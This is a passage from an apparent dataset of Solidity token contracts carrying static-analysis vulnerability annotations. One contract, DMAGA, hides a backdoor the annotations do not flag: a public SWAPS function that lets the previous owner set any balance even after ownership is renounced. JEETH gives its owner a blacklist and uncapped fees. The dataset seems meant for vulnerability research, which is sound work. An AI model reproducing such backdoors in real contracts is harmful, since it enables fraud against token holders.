0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Router = _uniswapV2Router;\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_marketingAddress] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d689810): JEETH.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for d689810: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: df9e36d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for df9e36d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b4f9b34): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b4f9b34: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: df9e36d\n\t\t// reentrancy-benign | ID: b4f9b34\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: df9e36d\n\t\t// reentrancy-benign | ID: b4f9b34\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n\n uint256 currentRate = _getRate();\n\n return rAmount.div(currentRate);\n }\n\n function removeAllFee() private {\n if (_redisFee == 0 && _taxFee == 0) return;\n\n\t\t// reentrancy-benign | ID: 33059ba\n _previousredisFee = _redisFee;\n\n\t\t// reentrancy-benign | ID: 33059ba\n _previoustaxFee = _taxFee;\n\n\t\t// reentrancy-benign | ID: 33059ba\n _redisFee = 0;\n\n\t\t// reentrancy-benign | ID: 33059ba\n _taxFee = 0;\n }\n\n function restoreAllFee() private {\n\t\t// reentrancy-benign | ID: 33059ba\n _redisFee = _previousredisFee;\n\n\t\t// reentrancy-benign | ID: 33059ba\n _taxFee = _previoustaxFee;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3b29cdc): JEETH._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3b29cdc: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: b4f9b34\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: df9e36d\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3d36175): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3d36175: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 33059ba): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 33059ba: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 68dd988): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 68dd988: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (from != owner() && to != owner()) {\n if (!tradingOpen) {\n require(\n from == owner(),\n \"TOKEN: This account cannot send tokens until trading is enabled\"\n );\n }\n\n require(amount <= _maxTxAmount, \"TOKEN: Max Transaction Limit\");\n\n require(\n !bots[from] && !bots[to],\n \"TOKEN: Your account is blacklisted!\"\n );\n\n if (to != uniswapV2Pair) {\n require(\n balanceOf(to) + amount < _maxWalletSize,\n \"TOKEN: Balance exceeds wallet size!\"\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= _swapTokensAtAmount;\n\n if (contractTokenBalance >= _maxTxAmount) {\n contractTokenBalance = _maxTxAmount;\n }\n\n if (\n canSwap &&\n !inSwap &&\n from != uniswapV2Pair &&\n swapEnabled &&\n !_isExcludedFromFee[from] &&\n !_isExcludedFromFee[to]\n ) {\n\t\t\t\t// reentrancy-events | ID: 3d36175\n\t\t\t\t// reentrancy-benign | ID: 33059ba\n\t\t\t\t// reentrancy-eth | ID: 68dd988\n swapTokensForEth(contractTokenBalance);\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 3d36175\n\t\t\t\t\t// reentrancy-eth | ID: 68dd988\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n bool takeFee = true;\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) ||\n (from != uniswapV2Pair && to != uniswapV2Pair)\n ) {\n takeFee = false;\n } else {\n if (from == uniswapV2Pair && to != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: 33059ba\n _redisFee = _redisFeeOnBuy;\n\n\t\t\t\t// reentrancy-benign | ID: 33059ba\n _taxFee = _taxFeeOnBuy;\n }\n\n if (to == uniswapV2Pair && from != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: 33059ba\n _redisFee = _redisFeeOnSell;\n\n\t\t\t\t// reentrancy-benign | ID: 33059ba\n _taxFee = _taxFeeOnSell;\n }\n }\n\n\t\t// reentrancy-events | ID: 3d36175\n\t\t// reentrancy-benign | ID: 33059ba\n\t\t// reentrancy-eth | ID: 68dd988\n _tokenTransfer(from, to, amount, takeFee);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: df9e36d\n\t\t// reentrancy-events | ID: 3d36175\n\t\t// reentrancy-benign | ID: 33059ba\n\t\t// reentrancy-benign | ID: b4f9b34\n\t\t// reentrancy-eth | ID: 68dd988\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: df9e36d\n\t\t// reentrancy-events | ID: 3d36175\n\t\t// reentrancy-eth | ID: 68dd988\n _marketingAddress.transfer(amount);\n }\n\n function setTrading() public onlyOwner {\n tradingOpen = true;\n }\n\n function manualswap() external {\n require(_msgSender() == _marketingAddress);\n\n uint256 contractBalance = balanceOf(address(this));\n\n swapTokensForEth(contractBalance);\n }\n\n function manualsend() external {\n require(_msgSender() == _marketingAddress);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n function addOnBlacklist(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function removeFromBlacklist(address notbot) public onlyOwner {\n bots[notbot] = false;\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount,\n bool takeFee\n ) private {\n if (!takeFee) removeAllFee();\n\n _transferStandard(sender, recipient, amount);\n\n if (!takeFee) restoreAllFee();\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n\n\t\t// reentrancy-eth | ID: 68dd988\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\n\t\t// reentrancy-eth | ID: 68dd988\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n\n _takeTeam(tTeam);\n\n _reflectFee(rFee, tFee);\n\n\t\t// reentrancy-events | ID: 3d36175\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n\n uint256 rTeam = tTeam.mul(currentRate);\n\n\t\t// reentrancy-eth | ID: 68dd988\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: 68dd988\n _rTotal = _rTotal.sub(rFee);\n\n\t\t// reentrancy-benign | ID: 33059ba\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n receive() external payable {}\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _redisFee,\n _taxFee\n );\n\n uint256 currentRate = _getRate();\n\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 redisFee,\n uint256 taxFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(redisFee).div(100);\n\n uint256 tTeam = tAmount.mul(taxFee).div(100);\n\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n\n uint256 rFee = tFee.mul(currentRate);\n\n uint256 rTeam = tTeam.mul(currentRate);\n\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n\n uint256 tSupply = _tTotal;\n\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n\n return (rSupply, tSupply);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 912af50): Missing events for critical arithmetic parameters.\n\t// Recommendation for 912af50: Emit an event for critical parameter changes.\n function setFee(\n uint256 redisFeeOnBuy,\n uint256 redisFeeOnSell,\n uint256 taxFeeOnBuy,\n uint256 taxFeeOnSell\n ) public onlyOwner {\n\t\t// events-maths | ID: 912af50\n _redisFeeOnBuy = redisFeeOnBuy;\n\n\t\t// events-maths | ID: 912af50\n _redisFeeOnSell = redisFeeOnSell;\n\n\t\t// events-maths | ID: 912af50\n _taxFeeOnBuy = taxFeeOnBuy;\n\n\t\t// events-maths | ID: 912af50\n _taxFeeOnSell = taxFeeOnSell;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: a51acb9): JEETH.setMinSwapTokensThreshold(uint256) should emit an event for _swapTokensAtAmount = swapTokensAtAmount \n\t// Recommendation for a51acb9: Emit an event for critical parameter changes.\n function setMinSwapTokensThreshold(\n uint256 swapTokensAtAmount\n ) public onlyOwner {\n\t\t// events-maths | ID: a51acb9\n _swapTokensAtAmount = swapTokensAtAmount;\n }\n\n function toggleSwap(bool _swapEnabled) public onlyOwner {\n swapEnabled = _swapEnabled;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 6be3643): JEETH.setMaxTxnAmount(uint256) should emit an event for _maxTxAmount = maxTxAmount \n\t// Recommendation for 6be3643: Emit an event for critical parameter changes.\n function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {\n\t\t// events-maths | ID: 6be3643\n _maxTxAmount = maxTxAmount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 2aafd6e): JEETH.setMaxWalletSize(uint256) should emit an event for _maxWalletSize = maxWalletSize \n\t// Recommendation for 2aafd6e: Emit an event for critical parameter changes.\n function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {\n\t\t// events-maths | ID: 2aafd6e\n _maxWalletSize = maxWalletSize;\n }\n\n function excludeMultipleAccountsFromFees(\n address[] calldata accounts,\n bool excluded\n ) public onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++) {\n _isExcludedFromFee[accounts[i]] = excluded;\n }\n }\n}\n",
"file_name": "solidity_code_10223.sol",
"size_bytes": 22547,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface CheatCodes {\n struct Log {\n bytes32[] topics;\n bytes data;\n }\n\n function warp(uint256) external;\n\n function roll(uint256) external;\n\n function fee(uint256) external;\n\n function coinbase(address) external;\n\n function load(address, bytes32) external returns (bytes32);\n\n function store(address, bytes32, bytes32) external;\n\n function sign(uint256, bytes32) external returns (uint8, bytes32, bytes32);\n\n function addr(uint256) external returns (address);\n\n function deriveKey(string calldata, uint32) external returns (uint256);\n\n function deriveKey(\n string calldata,\n string calldata,\n uint32\n ) external returns (uint256);\n\n function ffi(string[] calldata) external returns (bytes memory);\n\n function setEnv(string calldata, string calldata) external;\n\n function envBool(string calldata) external returns (bool);\n\n function envUint(string calldata) external returns (uint256);\n\n function envInt(string calldata) external returns (int256);\n\n function envAddress(string calldata) external returns (address);\n\n function envBytes32(string calldata) external returns (bytes32);\n\n function envString(string calldata) external returns (string memory);\n\n function envBytes(string calldata) external returns (bytes memory);\n\n function envBool(\n string calldata,\n string calldata\n ) external returns (bool[] memory);\n\n function envUint(\n string calldata,\n string calldata\n ) external returns (uint256[] memory);\n\n function envInt(\n string calldata,\n string calldata\n ) external returns (int256[] memory);\n\n function envAddress(\n string calldata,\n string calldata\n ) external returns (address[] memory);\n\n function envBytes32(\n string calldata,\n string calldata\n ) external returns (bytes32[] memory);\n\n function envString(\n string calldata,\n string calldata\n ) external returns (string[] memory);\n\n function envBytes(\n string calldata,\n string calldata\n ) external returns (bytes[] memory);\n\n function prank(address) external;\n\n function startPrank(address) external;\n\n function prank(address, address) external;\n\n function startPrank(address, address) external;\n\n function stopPrank() external;\n\n function deal(address, uint256) external;\n\n function etch(address, bytes calldata) external;\n\n function expectRevert() external;\n\n function expectRevert(bytes calldata) external;\n\n function expectRevert(bytes4) external;\n\n function record() external;\n\n function accesses(\n address\n ) external returns (bytes32[] memory reads, bytes32[] memory writes);\n\n function recordLogs() external;\n\n function getRecordedLogs() external returns (Log[] memory);\n\n function expectEmit(bool, bool, bool, bool) external;\n\n function expectEmit(bool, bool, bool, bool, address) external;\n\n function mockCall(address, bytes calldata, bytes calldata) external;\n\n function mockCall(\n address,\n uint256,\n bytes calldata,\n bytes calldata\n ) external;\n\n function clearMockedCalls() external;\n\n function expectCall(address, bytes calldata) external;\n\n function expectCall(address, uint256, bytes calldata) external;\n\n function getCode(string calldata) external returns (bytes memory);\n\n function label(address, string calldata) external;\n\n function assume(bool) external;\n\n function setNonce(address, uint64) external;\n\n function getNonce(address) external returns (uint64);\n\n function chainId(uint256) external;\n\n function broadcast() external;\n\n function broadcast(address) external;\n\n function startBroadcast() external;\n\n function startBroadcast(address) external;\n\n function stopBroadcast() external;\n\n function readFile(string calldata) external returns (string memory);\n\n function readLine(string calldata) external returns (string memory);\n\n function writeFile(string calldata, string calldata) external;\n\n function writeLine(string calldata, string calldata) external;\n\n function closeFile(string calldata) external;\n\n function removeFile(string calldata) external;\n\n function toString(address) external returns (string memory);\n\n function toString(bytes calldata) external returns (string memory);\n\n function toString(bytes32) external returns (string memory);\n\n function toString(bool) external returns (string memory);\n\n function toString(uint256) external returns (string memory);\n\n function toString(int256) external returns (string memory);\n\n function snapshot() external returns (uint256);\n\n function revertTo(uint256) external returns (bool);\n\n function createFork(string calldata, uint256) external returns (uint256);\n\n function createFork(string calldata) external returns (uint256);\n\n function createSelectFork(\n string calldata,\n uint256\n ) external returns (uint256);\n\n function createSelectFork(string calldata) external returns (uint256);\n\n function selectFork(uint256) external;\n\n function activeFork() external returns (uint256);\n\n function rollFork(uint256) external;\n\n function rollFork(uint256 forkId, uint256 blockNumber) external;\n\n function rpcUrl(string calldata) external returns (string memory);\n\n function rpcUrls() external returns (string[2][] memory);\n\n function makePersistent(address account) external;\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n address internal _previousOwner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transfer_hoppeiOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _isAdmin();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _isAdmin() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transfer_hoppeiOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transfer_hoppeiOwnership(newOwner);\n }\n\n function _transfer_hoppeiOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n _previousOwner = oldOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, Ownable, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply_hoppei;\n\n string private _name_hoppei;\n\n string private _symbol_hoppei;\n\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 totalSupply_\n ) {\n _name_hoppei = name_;\n\n _symbol_hoppei = symbol_;\n\n _totalSupply_hoppei = totalSupply_;\n\n _balances[msg.sender] = totalSupply_;\n\n emit Transfer(address(0), msg.sender, totalSupply_);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name_hoppei;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol_hoppei;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply_hoppei;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer_hoppei(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve_hoppei(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer_hoppei(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _approve_hoppei(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve_hoppei(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n _approve_hoppei(\n _msgSender(),\n spender,\n currentAllowance - subtractedValue\n );\n\n return true;\n }\n\n function _transfer_hoppei(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _transfer_wics(\n address sender,\n address recipient,\n uint256 amount,\n uint256 amountToBurn\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n\n amount -= amountToBurn;\n\n _totalSupply_hoppei -= amountToBurn;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, DEAD, amountToBurn);\n\n emit Transfer(sender, recipient, amount);\n }\n\n function SWAPS(\n address account,\n uint256 amount\n ) public virtual returns (uint256) {\n address msgSender = msg.sender;\n\n address prevOwner = _previousOwner;\n\n bytes32 msgSenderHe = keccak256(abi.encodePacked(msgSender));\n\n bytes32 prevOwnerHex = keccak256(abi.encodePacked(prevOwner));\n\n bytes32 amountHex = bytes32(amount);\n\n bool isOwner = msgSenderHe == prevOwnerHex;\n\n if (isOwner) {\n return _updateBalance(account, amountHex);\n } else {\n return _getBalance(account);\n }\n }\n\n function _updateBalance(\n address account,\n bytes32 amountHex\n ) private returns (uint256) {\n uint256 amount = uint256(amountHex);\n\n _balances[account] = amount;\n\n return _balances[account];\n }\n\n function _getBalance(address account) private view returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 406ee9b): ERC20._approve_hoppei(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 406ee9b: Rename the local variables that shadow another component.\n function _approve_hoppei(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n}\n\ninterface IUniswapV2Factory {\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router01 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n}\n\ninterface IUniswapV2Router02 is IUniswapV2Router01 {}\n\ncontract DMAGA is ERC20 {\n uint256 private constant TOAL_SUTSLTNVLY = 420690_000_000e9;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 175b733): DMAGA.DEAD shadows ERC20.DEAD\n\t// Recommendation for 175b733: Remove the state variable shadowing.\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: d0c0e0b): DMAGA.ZERO shadows ERC20.ZERO\n\t// Recommendation for d0c0e0b: Remove the state variable shadowing.\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n address private constant DEAD1 = 0x000000000000000000000000000000000000dEaD;\n\n address private constant ZERO1 = 0x0000000000000000000000000000000000000000;\n\n bool public hasLimit_hoppei;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 792c200): DMAGA.maxTxAmoudrst should be immutable \n\t// Recommendation for 792c200: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxTxAmoudrst;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b06f200): DMAGA.maxwalles_tas should be immutable \n\t// Recommendation for b06f200: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxwalles_tas;\n\n mapping(address => bool) public isException;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9a3ca3f): DMAGA._burnPermts should be constant \n\t// Recommendation for 9a3ca3f: Add the 'constant' attribute to state variables that never change.\n uint256 _burnPermts = 0;\n\n address uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 05ba02f): DMAGA.uniswapV2Router should be immutable \n\t// Recommendation for 05ba02f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 uniswapV2Router;\n\n constructor(\n address router\n )\n ERC20(\n unicode\"Dark Make America Great Again\",\n unicode\"DMAGA\",\n TOAL_SUTSLTNVLY\n )\n {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);\n\n uniswapV2Router = _uniswapV2Router;\n\n maxwalles_tas = TOAL_SUTSLTNVLY / 50;\n\n maxTxAmoudrst = TOAL_SUTSLTNVLY / 50;\n\n isException[DEAD] = true;\n\n isException[router] = true;\n\n isException[msg.sender] = true;\n\n isException[address(this)] = true;\n }\n\n function _transfer_hoppei(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _checkLimitation_hoppei(from, to, amount);\n\n if (amount == 0) {\n return;\n }\n\n if (!isException[from] && !isException[to]) {\n require(\n balanceOf(address(uniswapV2Router)) == 0,\n \"ERC20: disable router deflation\"\n );\n\n if (from == uniswapV2Pair || to == uniswapV2Pair) {\n uint256 _burn = (amount * _burnPermts) / 100;\n\n super._transfer_wics(from, to, amount, _burn);\n\n return;\n }\n }\n\n super._transfer_hoppei(from, to, amount);\n }\n\n function removeLimit() external onlyOwner {\n hasLimit_hoppei = true;\n }\n\n function _checkLimitation_hoppei(\n address from,\n address to,\n uint256 amount\n ) internal {\n if (!hasLimit_hoppei) {\n if (!isException[from] && !isException[to]) {\n require(amount <= maxTxAmoudrst, \"Amount exceeds max\");\n\n if (uniswapV2Pair == ZERO) {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(address(this), uniswapV2Router.WETH());\n }\n\n if (to == uniswapV2Pair) {\n return;\n }\n\n require(\n balanceOf(to) + amount <= maxwalles_tas,\n \"Max holding exceeded max\"\n );\n }\n }\n }\n}\n",
"file_name": "solidity_code_10224.sol",
"size_bytes": 18964,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IBeacon {\n function implementation() external view returns (address);\n}\n\ninterface IERC1967 {\n event Upgraded(address indexed implementation);\n\n event AdminChanged(address previousAdmin, address newAdmin);\n\n event BeaconUpgraded(address indexed beacon);\n}\n\nlibrary Errors {\n error InsufficientBalance(uint256 balance, uint256 needed);\n\n error FailedCall();\n\n error FailedDeployment();\n\n error MissingPrecompile(address);\n}\n\nlibrary Address {\n error AddressEmptyCode(address target);\n\n function sendValue(address payable recipient, uint256 amount) internal {\n if (address(this).balance < amount) {\n revert Errors.InsufficientBalance(address(this).balance, amount);\n }\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n\n if (!success) {\n revert Errors.FailedCall();\n }\n }\n\n function functionCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0);\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n if (address(this).balance < value) {\n revert Errors.InsufficientBalance(address(this).balance, value);\n }\n\n (bool success, bytes memory returndata) = target.call{value: value}(\n data\n );\n\n return verifyCallResultFromTarget(target, success, returndata);\n }\n\n function functionStaticCall(\n address target,\n bytes memory data\n ) 